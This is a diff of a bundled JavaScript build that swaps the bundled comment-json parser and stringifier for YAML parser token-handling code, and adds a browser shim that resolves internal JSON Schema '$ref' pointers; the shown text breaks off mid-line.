(!it2 || it2.value) + top.items.push({ start: [], key: token, sep: [] }); + else if (it2.sep) + it2.value = token; + else + Object.assign(it2, { key: token, sep: [] }); + return; } - return ret; - } - shift() { - const ret = super.shift(); - const { length } = this; - remove_comments(this, 0); - move_comments(this, this, 1, length, -1, true); - return ret; - } - reverse() { - super.reverse(); - reverse_comments(this); - return this; - } - pop() { - const ret = super.pop(); - remove_comments(this, this.length); - return ret; + default: + yield* this.pop(); + yield* this.pop(token); } - concat(...items) { - let { length } = this; - const ret = super.concat(...items); - if (!items.length) { - return ret; + if ((top.type === "document" || top.type === "block-map" || top.type === "block-seq") && (token.type === "block-map" || token.type === "block-seq")) { + const last2 = token.items[token.items.length - 1]; + if (last2 && !last2.sep && !last2.value && last2.start.length > 0 && findNonEmptyIndex(last2.start) === -1 && (token.indent === 0 || last2.start.every((st2) => st2.type !== "comment" || st2.indent < token.indent))) { + if (top.type === "document") + top.end = last2.start; + else + top.items.push({ start: last2.start }); + token.items.splice(-1, 1); } - move_comments(ret, this, 0, this.length, 0); - items.forEach((item) => { - const prev = length; - length += Array.isArray(item) ? item.length : 1; - if (!(item instanceof _CommentArray)) { - return; - } - move_comments(ret, item, 0, item.length, prev); - }); - return ret; - } - sort(...args) { - const result2 = sort( - this, - ...args.slice(0, 1) - ); - const map4 = /* @__PURE__ */ Object.create(null); - result2.forEach((source_index, index4) => { - if (source_index === index4) { - return; - } - const real_source_index = get_mapped(map4, source_index); - if (real_source_index === index4) { - return; - } - map4[index4] = real_source_index; - swap_comments(this, index4, real_source_index); - }); - return this; } - }; - module5.exports = { - CommentArray - }; + } } -}); - -// node_modules/comment-json/src/parse.js -var require_parse3 = __commonJS({ - "node_modules/comment-json/src/parse.js"(exports28, module5) { - init_dirname(); - init_buffer2(); - init_process2(); - var esprima = require_esprima(); - var { - CommentArray - } = require_array(); - var { - PREFIX_BEFORE, - PREFIX_AFTER_PROP, - PREFIX_AFTER_COLON, - PREFIX_AFTER_VALUE, - PREFIX_AFTER, - PREFIX_BEFORE_ALL, - PREFIX_AFTER_ALL, - BRACKET_OPEN, - BRACKET_CLOSE, - CURLY_BRACKET_OPEN, - CURLY_BRACKET_CLOSE, - COLON, - COMMA, - MINUS, - EMPTY, - UNDEFINED, - is_object, - define: define2, - set_raw_string_literal, - set_comment_line_breaks, - assign_non_prop_comments - } = require_common6(); - var tokenize = (code) => esprima.tokenize(code, { - comment: true, - loc: true - }); - var current_code; - var previous_hosts = []; - var comments_host = null; - var unassigned_comments = null; - var previous_props = []; - var last_prop; - var remove_comments = false; - var inline = false; - var tokens = null; - var last2 = null; - var current = null; - var index4; - var reviver = null; - var clean = () => { - current_code = UNDEFINED; - previous_props.length = previous_hosts.length = 0; - last2 = null; - last_prop = UNDEFINED; - }; - var free = () => { - clean(); - tokens.length = 0; - unassigned_comments = comments_host = tokens = last2 = current = reviver = null; - current_code = UNDEFINED; - }; - var symbolFor = (prefix) => Symbol.for( - last_prop !== UNDEFINED ? prefix + COLON + last_prop : prefix - ); - var transform2 = (k6, { value: value2, context: context2 = {} }) => reviver ? reviver(k6, value2, context2) : value2; - var unexpected = () => { - const error2 = new SyntaxError(`Unexpected token '${current.value.slice(0, 1)}', "${current_code}" is not valid JSON`); - Object.assign(error2, current.loc.start); - free(); - throw error2; - }; - var unexpected_end = () => { - const error2 = new SyntaxError("Unexpected end of JSON input"); - Object.assign(error2, last2 ? last2.loc.end : { - line: 1, - column: 0 - }); - free(); - throw error2; - }; - var next = () => { - const new_token = tokens[++index4]; - inline = current && new_token && current.loc.end.line === new_token.loc.start.line || false; - last2 = current; - current = new_token; - }; - var type3 = () => { - if (!current) { - unexpected_end(); - } - return current.type === "Punctuator" ? current.value : current.type; - }; - var is = (t8) => type3() === t8; - var expect = (a7) => { - if (!is(a7)) { - unexpected(); - } - }; - var set_comments_host = (new_host) => { - previous_hosts.push(comments_host); - comments_host = new_host; - }; - var restore_comments_host = () => { - comments_host = previous_hosts.pop(); - }; - var assign_after_comments = () => { - if (!unassigned_comments) { + *stream() { + switch (this.type) { + case "directive-line": + yield { type: "directive", offset: this.offset, source: this.source }; return; - } - const after_comments = []; - for (const comment of unassigned_comments) { - if (comment.inline) { - after_comments.push(comment); - } else { - break; - } - } - const { length } = after_comments; - if (!length) { + case "byte-order-mark": + case "space": + case "comment": + case "newline": + yield this.sourceToken; return; - } - if (length === unassigned_comments.length) { - unassigned_comments = null; - } else { - unassigned_comments.splice(0, length); - } - define2(comments_host, symbolFor(PREFIX_AFTER), after_comments); - }; - var assign_comments = (prefix) => { - if (!unassigned_comments) { + case "doc-mode": + case "doc-start": { + const doc = { + type: "document", + offset: this.offset, + start: [] + }; + if (this.type === "doc-start") + doc.start.push(this.sourceToken); + this.stack.push(doc); return; } - define2(comments_host, symbolFor(prefix), unassigned_comments); - unassigned_comments = null; + } + yield { + type: "error", + offset: this.offset, + message: `Unexpected ${this.type} token in YAML stream`, + source: this.source }; - var parse_comments = (prefix) => { - const comments = []; - while (current && (is("LineComment") || is("BlockComment"))) { - const comment = { - ...current, - inline - }; - const previous_line = last2 ? last2.loc.end.line : 1; - set_comment_line_breaks( - comment, - Math.max(0, comment.loc.start.line - previous_line) - ); - comments.push(comment); - next(); - } - const { length } = comments; - if (length) { - const comment = comments[length - 1]; - const current_line = current ? current.loc.start.line : comment.loc.end.line; - set_comment_line_breaks( - comment, - void 0, - Math.max(0, current_line - comment.loc.end.line) - ); - } - if (remove_comments) { + } + *document(doc) { + if (doc.value) + return yield* this.lineEnd(doc); + switch (this.type) { + case "doc-start": { + if (findNonEmptyIndex(doc.start) !== -1) { + yield* this.pop(); + yield* this.step(); + } else + doc.start.push(this.sourceToken); return; } - if (!length) { + case "anchor": + case "tag": + case "space": + case "comment": + case "newline": + doc.start.push(this.sourceToken); return; - } - if (prefix) { - define2(comments_host, symbolFor(prefix), comments); + } + const bv = this.startBlockValue(doc); + if (bv) + this.stack.push(bv); + else { + yield { + type: "error", + offset: this.offset, + message: `Unexpected ${this.type} token in YAML document`, + source: this.source + }; + } + } + *scalar(scalar) { + if (this.type === "map-value-ind") { + const prev = getPrevProps(this.peek(2)); + const start = getFirstKeyStartProps(prev); + let sep2; + if (scalar.end) { + sep2 = scalar.end; + sep2.push(this.sourceToken); + delete scalar.end; + } else + sep2 = [this.sourceToken]; + const map4 = { + type: "block-map", + offset: scalar.offset, + indent: scalar.indent, + items: [{ start, key: scalar, sep: sep2 }] + }; + this.onKeyLine = true; + this.stack[this.stack.length - 1] = map4; + } else + yield* this.lineEnd(scalar); + } + *blockScalar(scalar) { + switch (this.type) { + case "space": + case "comment": + case "newline": + scalar.props.push(this.sourceToken); return; - } - unassigned_comments = comments; - }; - var set_prop = (prop, push4) => { - if (push4) { - previous_props.push(last_prop); - } - last_prop = prop; - }; - var restore_prop = () => { - last_prop = previous_props.pop(); - }; - var parse_object = () => { - const obj = {}; - set_comments_host(obj); - set_prop(UNDEFINED, true); - let started = false; - let name2; - parse_comments(); - while (!is(CURLY_BRACKET_CLOSE)) { - if (started) { - assign_comments(PREFIX_AFTER_VALUE); - expect(COMMA); - next(); - parse_comments(); - assign_after_comments(); - if (is(CURLY_BRACKET_CLOSE)) { - break; + case "scalar": + scalar.source = this.source; + this.atNewLine = true; + this.indent = 0; + if (this.onNewLine) { + let nl = this.source.indexOf("\n") + 1; + while (nl !== 0) { + this.onNewLine(this.offset + nl); + nl = this.source.indexOf("\n", nl) + 1; } } - started = true; - expect("String"); - name2 = JSON.parse(current.value); - set_prop(name2); - assign_comments(PREFIX_BEFORE); - next(); - parse_comments(PREFIX_AFTER_PROP); - expect(COLON); - next(); - parse_comments(PREFIX_AFTER_COLON); - obj[name2] = transform2(name2, walk()); - parse_comments(); - } - if (started) { - assign_comments(PREFIX_AFTER); - } - next(); - last_prop = void 0; - if (!started) { - assign_comments(PREFIX_BEFORE); - } - restore_comments_host(); - restore_prop(); - return obj; - }; - var parse_array = () => { - const array = new CommentArray(); - set_comments_host(array); - set_prop(UNDEFINED, true); - let started = false; - let i7 = 0; - parse_comments(); - while (!is(BRACKET_CLOSE)) { - if (started) { - assign_comments(PREFIX_AFTER_VALUE); - expect(COMMA); - next(); - parse_comments(); - assign_after_comments(); - if (is(BRACKET_CLOSE)) { - break; - } + yield* this.pop(); + break; + default: + yield* this.pop(); + yield* this.step(); + } + } + *blockMap(map4) { + const it2 = map4.items[map4.items.length - 1]; + switch (this.type) { + case "newline": + this.onKeyLine = false; + if (it2.value) { + const end = "end" in it2.value ? it2.value.end : void 0; + const last2 = Array.isArray(end) ? end[end.length - 1] : void 0; + if (last2?.type === "comment") + end?.push(this.sourceToken); + else + map4.items.push({ start: [this.sourceToken] }); + } else if (it2.sep) { + it2.sep.push(this.sourceToken); + } else { + it2.start.push(this.sourceToken); } - started = true; - set_prop(i7); - assign_comments(PREFIX_BEFORE); - array[i7] = transform2(i7, walk()); - i7++; - parse_comments(); - } - if (started) { - assign_comments(PREFIX_AFTER); - } - next(); - last_prop = void 0; - if (!started) { - assign_comments(PREFIX_BEFORE); - } - restore_comments_host(); - restore_prop(); - return array; - }; - function walk() { - let tt3 = type3(); - if (tt3 === CURLY_BRACKET_OPEN) { - next(); - return { - value: parse_object() - }; - } - if (tt3 === BRACKET_OPEN) { - next(); - return { - value: parse_array() - }; - } - let negative = EMPTY; - if (tt3 === MINUS) { - next(); - tt3 = type3(); - negative = MINUS; - } - let v8; - let source; - switch (tt3) { - case "String": - set_raw_string_literal(comments_host, last_prop, current.value); - case "Boolean": - case "Null": - case "Numeric": - v8 = current.value; - next(); - source = negative + v8; - return { - value: JSON.parse(source), - context: { - source + return; + case "space": + case "comment": + if (it2.value) { + map4.items.push({ start: [this.sourceToken] }); + } else if (it2.sep) { + it2.sep.push(this.sourceToken); + } else { + if (this.atIndentedComment(it2.start, map4.indent)) { + const prev = map4.items[map4.items.length - 2]; + const end = prev?.value?.end; + if (Array.isArray(end)) { + Array.prototype.push.apply(end, it2.start); + end.push(this.sourceToken); + map4.items.pop(); + return; } - }; - default: - return {}; - } + } + it2.start.push(this.sourceToken); + } + return; } - var parse17 = (code, rev, no_comments) => { - clean(); - current_code = code; - tokens = tokenize(code); - reviver = rev; - remove_comments = no_comments; - if (!tokens.length) { - unexpected_end(); - } - index4 = -1; - next(); - set_comments_host({}); - parse_comments(PREFIX_BEFORE_ALL); - const final = walk(); - parse_comments(PREFIX_AFTER_ALL); - if (current) { - unexpected(); - } - let result2 = transform2("", final); - if (!no_comments && result2 !== null) { - if (!is_object(result2)) { - result2 = new Object(result2); + if (this.indent >= map4.indent) { + const atMapIndent = !this.onKeyLine && this.indent === map4.indent; + const atNextItem = atMapIndent && (it2.sep || it2.explicitKey) && this.type !== "seq-item-ind"; + let start = []; + if (atNextItem && it2.sep && !it2.value) { + const nl = []; + for (let i7 = 0; i7 < it2.sep.length; ++i7) { + const st2 = it2.sep[i7]; + switch (st2.type) { + case "newline": + nl.push(i7); + break; + case "space": + break; + case "comment": + if (st2.indent > map4.indent) + nl.length = 0; + break; + default: + nl.length = 0; + } } - assign_non_prop_comments(result2, comments_host); - } - restore_comments_host(); - free(); - return result2; - }; - module5.exports = { - parse: parse17, - tokenize - }; - } -}); - -// node_modules/comment-json/src/stringify.js -var require_stringify = __commonJS({ - "node_modules/comment-json/src/stringify.js"(exports28, module5) { - init_dirname(); - init_buffer2(); - init_process2(); - var { - PREFIX_BEFORE_ALL, - PREFIX_BEFORE, - PREFIX_AFTER_PROP, - PREFIX_AFTER_COLON, - PREFIX_AFTER_VALUE, - PREFIX_AFTER, - PREFIX_AFTER_ALL, - BRACKET_OPEN, - BRACKET_CLOSE, - CURLY_BRACKET_OPEN, - CURLY_BRACKET_CLOSE, - COLON, - COMMA, - EMPTY, - UNDEFINED, - is_string, - is_number, - is_object, - get_raw_string_literal, - get_comment_line_breaks_before, - get_comment_line_breaks_after, - is_raw_json - } = require_common6(); - var SPACE = " "; - var LF = "\n"; - var STR_NULL = "null"; - var BEFORE = (prop) => `${PREFIX_BEFORE}:${prop}`; - var AFTER_PROP = (prop) => `${PREFIX_AFTER_PROP}:${prop}`; - var AFTER_COLON = (prop) => `${PREFIX_AFTER_COLON}:${prop}`; - var AFTER_VALUE = (prop) => `${PREFIX_AFTER_VALUE}:${prop}`; - var AFTER = (prop) => `${PREFIX_AFTER}:${prop}`; - var quote = JSON.stringify; - var comment_stringify = (value2, line) => line ? `//${value2}` : `/*${value2}*/`; - var repeat_line_breaks = (line_breaks, gap) => (LF + gap).repeat(line_breaks); - var read_line_breaks = (line_breaks) => is_number(line_breaks) && line_breaks >= 0 ? line_breaks : null; - var read_line_breaks_from_loc = (previous_comment, comment) => { - if (!previous_comment || !previous_comment.loc || !comment.loc) { - return null; - } - const { end } = previous_comment.loc; - const { start } = comment.loc; - if (!end || !start || !is_number(end.line) || !is_number(start.line)) { - return null; - } - const line_breaks = start.line - end.line; - return line_breaks >= 0 ? line_breaks : null; - }; - var count_trailing_line_breaks = (str2, gap) => { - const unit = LF + gap; - const { length } = unit; - let i7 = str2.length; - let count2 = 0; - while (i7 >= length && str2.slice(i7 - length, i7) === unit) { - i7 -= length; - count2++; - } - return count2; - }; - var process_comments = (host, symbol_tag, deeper_gap, display_block) => { - const comments = host[Symbol.for(symbol_tag)]; - if (!comments || !comments.length) { - return EMPTY; + if (nl.length >= 2) + start = it2.sep.splice(nl[1]); } - let str2 = EMPTY; - let last_comment = null; - comments.forEach((comment, i7) => { - const { - inline, - type: type3, - value: value2 - } = comment; - let line_breaks_before = read_line_breaks( - get_comment_line_breaks_before(comment) - ); - if (line_breaks_before === null) { - line_breaks_before = read_line_breaks_from_loc(last_comment, comment); - } - if (line_breaks_before === null) { - line_breaks_before = inline ? 0 : 1; + switch (this.type) { + case "anchor": + case "tag": + if (atNextItem || it2.value) { + start.push(this.sourceToken); + map4.items.push({ start }); + this.onKeyLine = true; + } else if (it2.sep) { + it2.sep.push(this.sourceToken); + } else { + it2.start.push(this.sourceToken); + } + return; + case "explicit-key-ind": + if (!it2.sep && !it2.explicitKey) { + it2.start.push(this.sourceToken); + it2.explicitKey = true; + } else if (atNextItem || it2.value) { + start.push(this.sourceToken); + map4.items.push({ start, explicitKey: true }); + } else { + this.stack.push({ + type: "block-map", + offset: this.offset, + indent: this.indent, + items: [{ start: [this.sourceToken], explicitKey: true }] + }); + } + this.onKeyLine = true; + return; + case "map-value-ind": + if (it2.explicitKey) { + if (!it2.sep) { + if (includesToken(it2.start, "newline")) { + Object.assign(it2, { key: null, sep: [this.sourceToken] }); + } else { + const start2 = getFirstKeyStartProps(it2.start); + this.stack.push({ + type: "block-map", + offset: this.offset, + indent: this.indent, + items: [{ start: start2, key: null, sep: [this.sourceToken] }] + }); + } + } else if (it2.value) { + map4.items.push({ start: [], key: null, sep: [this.sourceToken] }); + } else if (includesToken(it2.sep, "map-value-ind")) { + this.stack.push({ + type: "block-map", + offset: this.offset, + indent: this.indent, + items: [{ start, key: null, sep: [this.sourceToken] }] + }); + } else if (isFlowToken(it2.key) && !includesToken(it2.sep, "newline")) { + const start2 = getFirstKeyStartProps(it2.start); + const key = it2.key; + const sep2 = it2.sep; + sep2.push(this.sourceToken); + delete it2.key; + delete it2.sep; + this.stack.push({ + type: "block-map", + offset: this.offset, + indent: this.indent, + items: [{ start: start2, key, sep: sep2 }] + }); + } else if (start.length > 0) { + it2.sep = it2.sep.concat(start, this.sourceToken); + } else { + it2.sep.push(this.sourceToken); + } + } else { + if (!it2.sep) { + Object.assign(it2, { key: null, sep: [this.sourceToken] }); + } else if (it2.value || atNextItem) { + map4.items.push({ start, key: null, sep: [this.sourceToken] }); + } else if (includesToken(it2.sep, "map-value-ind")) { + this.stack.push({ + type: "block-map", + offset: this.offset, + indent: this.indent, + items: [{ start: [], key: null, sep: [this.sourceToken] }] + }); + } else { + it2.sep.push(this.sourceToken); + } + } + this.onKeyLine = true; + return; + case "alias": + case "scalar": + case "single-quoted-scalar": + case "double-quoted-scalar": { + const fs = this.flowScalar(this.type); + if (atNextItem || it2.value) { + map4.items.push({ start, key: fs, sep: [] }); + this.onKeyLine = true; + } else if (it2.sep) { + this.stack.push(fs); + } else { + Object.assign(it2, { key: fs, sep: [] }); + this.onKeyLine = true; + } + return; } - const delimiter2 = line_breaks_before > 0 ? repeat_line_breaks(line_breaks_before, deeper_gap) : inline ? SPACE : i7 === 0 ? EMPTY : LF + deeper_gap; - const is_line_comment = type3 === "LineComment"; - str2 += delimiter2 + comment_stringify(value2, is_line_comment); - last_comment = comment; - }); - const default_line_breaks_after = display_block || last_comment.type === "LineComment" ? 1 : 0; - const line_breaks_after = Math.max( - default_line_breaks_after, - read_line_breaks(get_comment_line_breaks_after(last_comment)) || 0 - ); - return str2 + repeat_line_breaks(line_breaks_after, deeper_gap); - }; - var replacer = null; - var indent = EMPTY; - var clean = () => { - replacer = null; - indent = EMPTY; - }; - var join3 = (one, two, gap) => one ? two ? one + two.trim() + LF + gap : one.trimRight() + repeat_line_breaks( - Math.max(1, count_trailing_line_breaks(one, gap)), - gap - ) : two ? two.trimRight() + repeat_line_breaks( - Math.max(1, count_trailing_line_breaks(two, gap)), - gap - ) : EMPTY; - var join_content = (inside, value2, gap) => { - const comment = process_comments(value2, PREFIX_BEFORE, gap + indent, true); - return join3(comment, inside, gap); - }; - var stringify_string = (holder, key, value2) => { - const raw = get_raw_string_literal(holder, key); - if (is_string(raw)) { - try { - if (JSON.parse(raw) === value2) { - return raw; + default: { + const bv = this.startBlockValue(map4); + if (bv) { + if (bv.type === "block-seq") { + if (!it2.explicitKey && it2.sep && !includesToken(it2.sep, "newline")) { + yield* this.pop({ + type: "error", + offset: this.offset, + message: "Unexpected block-seq-ind on same line with key", + source: this.source + }); + return; + } + } else if (atMapIndent) { + map4.items.push({ start }); + } + this.stack.push(bv); + return; } - } catch (e10) { } } - return quote(value2); - }; - var array_stringify = (value2, gap) => { - const deeper_gap = gap + indent; - const { length } = value2; - let inside = EMPTY; - let after_comma = EMPTY; - for (let i7 = 0; i7 < length; i7++) { - if (i7 !== 0) { - inside += COMMA; + } + yield* this.pop(); + yield* this.step(); + } + *blockSequence(seq3) { + const it2 = seq3.items[seq3.items.length - 1]; + switch (this.type) { + case "newline": + if (it2.value) { + const end = "end" in it2.value ? it2.value.end : void 0; + const last2 = Array.isArray(end) ? end[end.length - 1] : void 0; + if (last2?.type === "comment") + end?.push(this.sourceToken); + else + seq3.items.push({ start: [this.sourceToken] }); + } else + it2.start.push(this.sourceToken); + return; + case "space": + case "comment": + if (it2.value) + seq3.items.push({ start: [this.sourceToken] }); + else { + if (this.atIndentedComment(it2.start, seq3.indent)) { + const prev = seq3.items[seq3.items.length - 2]; + const end = prev?.value?.end; + if (Array.isArray(end)) { + Array.prototype.push.apply(end, it2.start); + end.push(this.sourceToken); + seq3.items.pop(); + return; + } + } + it2.start.push(this.sourceToken); } - const before2 = join3( - after_comma, - process_comments(value2, BEFORE(i7), deeper_gap), - deeper_gap - ); - inside += before2 || LF + deeper_gap; - inside += stringify5(i7, value2, deeper_gap) || STR_NULL; - inside += process_comments(value2, AFTER_VALUE(i7), deeper_gap); - after_comma = process_comments(value2, AFTER(i7), deeper_gap); - } - inside += join3( - after_comma, - process_comments(value2, PREFIX_AFTER, deeper_gap), - deeper_gap - ); - return BRACKET_OPEN + join_content(inside, value2, gap) + BRACKET_CLOSE; - }; - var object_stringify = (value2, gap) => { - if (!value2) { - return "null"; + return; + case "anchor": + case "tag": + if (it2.value || this.indent <= seq3.indent) + break; + it2.start.push(this.sourceToken); + return; + case "seq-item-ind": + if (this.indent !== seq3.indent) + break; + if (it2.value || includesToken(it2.start, "seq-item-ind")) + seq3.items.push({ start: [this.sourceToken] }); + else + it2.start.push(this.sourceToken); + return; + } + if (this.indent > seq3.indent) { + const bv = this.startBlockValue(seq3); + if (bv) { + this.stack.push(bv); + return; } - const deeper_gap = gap + indent; - let inside = EMPTY; - let after_comma = EMPTY; - let first = true; - const keys2 = Array.isArray(replacer) ? replacer : Object.keys(value2); - const iteratee2 = (key) => { - const sv = stringify5(key, value2, deeper_gap); - if (sv === UNDEFINED) { + } + yield* this.pop(); + yield* this.step(); + } + *flowCollection(fc) { + const it2 = fc.items[fc.items.length - 1]; + if (this.type === "flow-error-end") { + let top; + do { + yield* this.pop(); + top = this.peek(1); + } while (top && top.type === "flow-collection"); + } else if (fc.end.length === 0) { + switch (this.type) { + case "comma": + case "explicit-key-ind": + if (!it2 || it2.sep) + fc.items.push({ start: [this.sourceToken] }); + else + it2.start.push(this.sourceToken); + return; + case "map-value-ind": + if (!it2 || it2.value) + fc.items.push({ start: [], key: null, sep: [this.sourceToken] }); + else if (it2.sep) + it2.sep.push(this.sourceToken); + else + Object.assign(it2, { key: null, sep: [this.sourceToken] }); + return; + case "space": + case "comment": + case "newline": + case "anchor": + case "tag": + if (!it2 || it2.value) + fc.items.push({ start: [this.sourceToken] }); + else if (it2.sep) + it2.sep.push(this.sourceToken); + else + it2.start.push(this.sourceToken); + return; + case "alias": + case "scalar": + case "single-quoted-scalar": + case "double-quoted-scalar": { + const fs = this.flowScalar(this.type); + if (!it2 || it2.value) + fc.items.push({ start: [], key: fs, sep: [] }); + else if (it2.sep) + this.stack.push(fs); + else + Object.assign(it2, { key: fs, sep: [] }); return; } - if (!first) { - inside += COMMA; - } - first = false; - const before2 = join3( - after_comma, - process_comments(value2, BEFORE(key), deeper_gap), - deeper_gap - ); - inside += before2 || LF + deeper_gap; - inside += quote(key) + process_comments(value2, AFTER_PROP(key), deeper_gap) + COLON + process_comments(value2, AFTER_COLON(key), deeper_gap) + SPACE + sv + process_comments(value2, AFTER_VALUE(key), deeper_gap); - after_comma = process_comments(value2, AFTER(key), deeper_gap); - }; - keys2.forEach(iteratee2); - inside += join3( - after_comma, - process_comments(value2, PREFIX_AFTER, deeper_gap), - deeper_gap - ); - return CURLY_BRACKET_OPEN + join_content(inside, value2, gap) + CURLY_BRACKET_CLOSE; - }; - function stringify5(key, holder, gap) { - let value2 = holder[key]; - if (is_object(value2) && typeof value2.toJSON === "function") { - value2 = value2.toJSON(key); + case "flow-map-end": + case "flow-seq-end": + fc.end.push(this.sourceToken); + return; } - if (typeof replacer === "function") { - value2 = replacer.call(holder, key, value2); + const bv = this.startBlockValue(fc); + if (bv) + this.stack.push(bv); + else { + yield* this.pop(); + yield* this.step(); } - switch (typeof value2) { - case "string": - return stringify_string(holder, key, value2); - case "number": - return Number.isFinite(value2) ? String(value2) : STR_NULL; - case "boolean": - case "null": - return String(value2); - case "object": - if (is_raw_json(value2)) { - return value2.rawJSON; - } - return Array.isArray(value2) ? array_stringify(value2, gap) : object_stringify(value2, gap); - default: + } else { + const parent2 = this.peek(2); + if (parent2.type === "block-map" && (this.type === "map-value-ind" && parent2.indent === fc.indent || this.type === "newline" && !parent2.items[parent2.items.length - 1].sep)) { + yield* this.pop(); + yield* this.step(); + } else if (this.type === "map-value-ind" && parent2.type !== "flow-collection") { + const prev = getPrevProps(parent2); + const start = getFirstKeyStartProps(prev); + fixFlowSeqItems(fc); + const sep2 = fc.end.splice(1, fc.end.length); + sep2.push(this.sourceToken); + const map4 = { + type: "block-map", + offset: fc.offset, + indent: fc.indent, + items: [{ start, key: fc, sep: sep2 }] + }; + this.onKeyLine = true; + this.stack[this.stack.length - 1] = map4; + } else { + yield* this.lineEnd(fc); } } - var get_indent = (space) => typeof space === "string" ? space : typeof space === "number" ? SPACE.repeat(space) : EMPTY; - var { toString: toString3 } = Object.prototype; - var PRIMITIVE_OBJECT_TYPES = [ - "[object Number]", - "[object String]", - "[object Boolean]" - ]; - var is_primitive_object = (subject) => { - if (typeof subject !== "object") { - return false; + } + flowScalar(type3) { + if (this.onNewLine) { + let nl = this.source.indexOf("\n") + 1; + while (nl !== 0) { + this.onNewLine(this.offset + nl); + nl = this.source.indexOf("\n", nl) + 1; } - const str2 = toString3.call(subject); - return PRIMITIVE_OBJECT_TYPES.includes(str2); + } + return { + type: type3, + offset: this.offset, + indent: this.indent, + source: this.source }; - module5.exports = (value2, replacer_, space) => { - const indent_ = get_indent(space); - if (!indent_) { - return JSON.stringify(value2, replacer_); + } + startBlockValue(parent2) { + switch (this.type) { + case "alias": + case "scalar": + case "single-quoted-scalar": + case "double-quoted-scalar": + return this.flowScalar(this.type); + case "block-scalar-header": + return { + type: "block-scalar", + offset: this.offset, + indent: this.indent, + props: [this.sourceToken], + source: "" + }; + case "flow-map-start": + case "flow-seq-start": + return { + type: "flow-collection", + offset: this.offset, + indent: this.indent, + start: this.sourceToken, + items: [], + end: [] + }; + case "seq-item-ind": + return { + type: "block-seq", + offset: this.offset, + indent: this.indent, + items: [{ start: [this.sourceToken] }] + }; + case "explicit-key-ind": { + this.onKeyLine = true; + const prev = getPrevProps(parent2); + const start = getFirstKeyStartProps(prev); + start.push(this.sourceToken); + return { + type: "block-map", + offset: this.offset, + indent: this.indent, + items: [{ start, explicitKey: true }] + }; } - if (typeof replacer_ !== "function" && !Array.isArray(replacer_)) { - replacer_ = null; + case "map-value-ind": { + this.onKeyLine = true; + const prev = getPrevProps(parent2); + const start = getFirstKeyStartProps(prev); + return { + type: "block-map", + offset: this.offset, + indent: this.indent, + items: [{ start, key: null, sep: [this.sourceToken] }] + }; } - replacer = replacer_; - indent = indent_; - const str2 = is_primitive_object(value2) ? JSON.stringify(value2) : stringify5("", { "": value2 }, EMPTY); - clean(); - return is_object(value2) ? process_comments(value2, PREFIX_BEFORE_ALL, EMPTY, true).trimLeft() + str2 + process_comments(value2, PREFIX_AFTER_ALL, EMPTY).trimRight() : str2; - }; - } -}); - -// node_modules/comment-json/src/index.js -var require_src7 = __commonJS({ - "node_modules/comment-json/src/index.js"(exports28, module5) { - init_dirname(); - init_buffer2(); - init_process2(); - var { parse: parse17, tokenize } = require_parse3(); - var stringify5 = require_stringify(); - var { CommentArray } = require_array(); - var { - PREFIX_BEFORE, - PREFIX_AFTER_PROP, - PREFIX_AFTER_COLON, - PREFIX_AFTER_VALUE, - PREFIX_AFTER, - PREFIX_BEFORE_ALL, - PREFIX_AFTER_ALL, - assign: assign3, - moveComments, - removeComments - } = require_common6(); - module5.exports = { - PREFIX_BEFORE, - PREFIX_AFTER_PROP, - PREFIX_AFTER_COLON, - PREFIX_AFTER_VALUE, - PREFIX_AFTER, - PREFIX_BEFORE_ALL, - PREFIX_AFTER_ALL, - parse: parse17, - stringify: stringify5, - tokenize, - CommentArray, - assign: assign3, - moveComments, - removeComments - }; - } -}); - -// src/browser/index.ts -init_dirname(); -init_buffer2(); -init_process2(); - -// src/browser/generate.ts -init_dirname(); -init_buffer2(); -init_process2(); -init_browser(); - -// node_modules/@readme/openapi-parser/dist/index.js -init_dirname(); -init_buffer2(); -init_process2(); - -// src/browser/shims/json-schema-ref-parser.ts -init_dirname(); -init_buffer2(); -init_process2(); -function resolvePointer(schema8, pointer) { - if (!pointer.startsWith("#/")) { - return void 0; - } - const parts = pointer.slice(2).split("/").map( - (p7) => ( - // Decode JSON pointer escape sequences - p7.replace(/~1/g, "/").replace(/~0/g, "~") - ) - ); - let current = schema8; - for (const part of parts) { - if (current === void 0 || current === null) { - return void 0; } - current = current[part]; - } - return current; -} -function dereferenceInternalImpl(schema8, root2, visited = /* @__PURE__ */ new Set()) { - if (schema8 === null || typeof schema8 !== "object") { - return schema8; + return null; } - if (Array.isArray(schema8)) { - return schema8.map((item) => dereferenceInternalImpl(item, root2, visited)); + atIndentedComment(start, indent) { + if (this.type !== "comment") + return false; + if (this.indent <= indent) + return false; + return start.every((st2) => st2.type === "newline" || st2.type === "space"); } - if (schema8.$ref && typeof schema8.$ref === "string" && schema8.$ref.startsWith("#/")) { - const refPath = schema8.$ref; - if (visited.has(refPath)) { - return { ...schema8 }; - } - const resolved = resolvePointer(root2, refPath); - if (resolved !== void 0) { - visited.add(refPath); - const dereferenced = dereferenceInternalImpl(resolved, root2, visited); - visited.delete(refPath); - return dereferenced; + *documentEnd(docEnd) { + if (this.type !== "doc-mode") { + if (docEnd.end) + docEnd.end.push(this.sourceToken); + else + docEnd.end = [this.sourceToken]; + if (this.type === "newline") + yield* this.pop(); } } - const result2 = {}; - for (const [key, value2] of Object.entries(schema8)) { - result2[key] = dereferenceInternalImpl(value2, root2, visited); - } - return result2; -} -async function dereference(_basePathOrSchema, schemaOrOptions, _options) { - const schema8 = typeof _basePathOrSchema === "object" ? _basePathOrSchema : schemaOrOptions ?? {}; - return dereferenceInternalImpl(schema8, schema8); -} -function $RefParser() { - this.schema = {}; - this.$refs = { - circular: false, - paths: () => [], - values: () => ({}), - get: () => void 0 - }; -} -function resolveSchemaFromArgs(pathOrSchema, schemaOrOptions) { - if (typeof pathOrSchema === "object" && pathOrSchema !== null) { - return pathOrSchema; - } - if (typeof schemaOrOptions === "object" && schemaOrOptions !== null) { - return schemaOrOptions; - } - if (typeof pathOrSchema === "string") { - try { - return JSON.parse(pathOrSchema); - } catch { - return {}; + *lineEnd(token) { + switch (this.type) { + case "comma": + case "doc-start": + case "doc-end": + case "flow-seq-end": + case "flow-map-end": + case "map-value-ind": + yield* this.pop(); + yield* this.step(); + break; + case "newline": + this.onKeyLine = false; + case "space": + case "comment": + default: + if (token.end) + token.end.push(this.sourceToken); + else + token.end = [this.sourceToken]; + if (this.type === "newline") + yield* this.pop(); } } - return {}; -} -$RefParser.prototype.parse = async function(pathOrSchema, schemaOrOptions, _options) { - this.schema = resolveSchemaFromArgs(pathOrSchema, schemaOrOptions); - return this.schema; }; -$RefParser.prototype.resolve = async function(pathOrSchema, schemaOrOptions, options) { - await this.parse(pathOrSchema, schemaOrOptions, options); - return this; -}; -$RefParser.prototype.bundle = async 